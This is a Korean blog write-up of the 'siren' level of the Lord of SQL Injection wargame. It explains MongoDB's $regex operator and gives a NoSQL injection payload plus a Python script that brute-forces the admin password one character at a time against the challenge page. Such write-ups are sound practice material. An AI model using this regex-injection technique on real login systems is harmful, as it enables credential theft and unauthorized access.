mongo db 가 한 번 더 등장해주었다. Blind SQL Injection 을 수행해야 한다. 저번 연산자 중에서 하나 빼먹은 것이 있다. '$regex' 라는 친구다. 이 친구는 정규표현식을 이용하여 원하는 데이터와 비교할 수 있다. 자세한 내용은 아래에서 볼 수 있다.
https://docs.mongodb.com/manual/reference/operator/query/regex/
MySQL에서는 like 문을 사용할 때, 'a'로 시작하는 문자열을 'a%'과 같이 작성하였다. NoSQL 에서는 정규표현식을 이용, 즉 '^a' 가 된다. 이외에도 위 문서를 보면 '$'는 특정 문자로 끝나는 문자열을 나타내기도 한다.
간단하게 테스트를 하나 해보자. 굳이 안 해도 되지만.
id=admin&pw[$regex]=^1
이 흐름을 이어가서 문제 자체는 어렵지 않기 때문에 바로 exploit 코드를 짤 수 있겠다. 참고로 NoSQL 에서는 '?'가 와일드카드로 사용되고 있으니 이를 제외하는 코드만 추가하면 된다.
import requests
requests.packages.urllib3.disable_warnings()
org_url = "https://los.rubiya.kr/chall/siren_9e402fc1bc38574071d8369c2c3819ba.php"
header = {'Cookie': 'PHPSESSID='}
session = requests.session()
# Brute Force
password = ''
for i in range(1, 10):
for j in range(48, 122):
payload = '?id=admin&pw[$regex]=^' + password + chr(j)
res = session.get(url = org_url + payload, headers=header, verify=False)
if ("Hello User" in res.text) and (j != 63):
password += chr(j)
print("Current PW is [ %s ]\n" % password)
break
# Result
print("\n\nPW --> %s\n" % password)
'Web Hacking > LOS' 카테고리의 다른 글
Lord of SQL Injection - yeti (0) | 2021.10.05 |
---|---|
Lord of SQL Injection - mummy (0) | 2021.10.05 |
Lord of SQL Injection - revenant (0) | 2021.10.05 |
Lord of SQL Injection - poltergeist (0) | 2021.10.03 |
Lord of SQL Injection - cyclops (0) | 2021.10.03 |